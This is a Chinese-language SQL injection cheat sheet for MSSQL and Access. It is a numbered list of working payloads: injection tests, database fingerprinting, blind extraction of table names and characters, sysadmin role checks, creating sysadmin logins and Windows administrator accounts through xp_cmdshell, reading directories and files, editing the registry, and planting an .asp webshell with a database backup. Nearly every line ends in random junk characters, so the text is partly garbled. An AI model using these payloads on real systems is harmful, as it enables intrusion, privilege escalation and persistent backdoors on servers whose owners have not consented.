1.判断是否有注入;and 1=1 ;and 1=2 Ps=<@,dks
2.初步判断是否是mssql ;and user>0 Rf0F`D k
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3.注入参数是字符'and [查询条件] and ''=' Y1s3>`
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' (rB?@:zN
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5.判断数据库系统 q%\rj?U_
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;and (select count(*) from sysobjects)>0 mssql {q^?Rw
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;and (select count(*) from msysobjects)>0 access !dZpV~g0
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 NUb:5tL
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 0{zA6Xu
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 K.I\E
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9.(1)猜字段的ascii值(access) ` 8OA:4).
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 3E`poE
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(2)猜字段的ascii值(mssql) Tj_~ BT
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 +~cW0z
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10.测试权限结构(mssql) x39n7+j4
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- _?J:Z*z?
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- }Pf7YuUZZ
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- Tt*n.HA
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- :"e,&
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- 7\p<k/TS
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- '@
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;and 1=(select IS_MEMBER('db_owner'));-- 3t^r;b
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11.添加mssql和系统的帐户 T.R(
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;exec master.dbo.sp_addlogin username;-- wU =@,K
;exec master.dbo.sp_password null,username,password;-- Y/aNrIK7
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- 6:o?@%
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;exec master.dbo.xp_cmdshell 'net user username password JJe?Zu\
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- 2gC.Z:}
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- ]/C1pG*o
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- `fUem,$)1F
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12.(1)遍历目录 #7~i.8L
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;create table dirs(paths varchar(100), id int) 2n`OcXCh/
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;insert dirs exec master.dbo.xp_dirtree 'c:\' *=O~TY<](
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;and (select top 1 paths from dirs)>0 |K%nVcR=
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) Gj}P6V_
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(2)遍历目录 &%/kPF~<
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- E?/Bf@a28=
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 SmJ6Fm6
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 <Hq|<^_K
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 T;u>]"S
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 ZxRD+`
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13.mssql中的存储过程 9V%s1@K
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xp_regenumvalues 注册表根键, 子键 *CH lg1
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 _e;$Y#`EO
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xp_regread 根键,子键,键值名 ,\FJVS;NeJ
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;exec xp_regread i-b++R/WN
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 wER>a (
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xp_regwrite 根键,子键, 值名, 值类型, 值 54 Baz
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 Jz!8Xg%a
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xp_regdeletevalue 根键,子键,值名 hK+Iow-
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 8W]6/st?]
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 H-9%/e
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14.mssql的backup创建webshell CE$c/d[N.
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use model -
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create table cmd(str image); (= H%VXQH
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insert into cmd(str) values (''); TvE M{
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backup database model to disk='c:\l.asp'; +oZq~2?*S6
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15.mssql内置函数 [=Y @Ul
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;and (select @@version)>0 获得Windows的版本号 cp0@wC#d
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa gsn3]^X
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;and (select user_name())>0 爆当前系统的连接用户 -;TqdL@
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;and (select db_name())>0 得到当前连接的数据库 bUf2uWy7
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16.简洁的webshell jmbwV,@Q2
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use model Tw< N
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create table cmd(str image); 0Ii*
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insert into cmd(str) values (''); /2K4ka<?7
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backup database model to disk='g:\wwwtest\l.asp';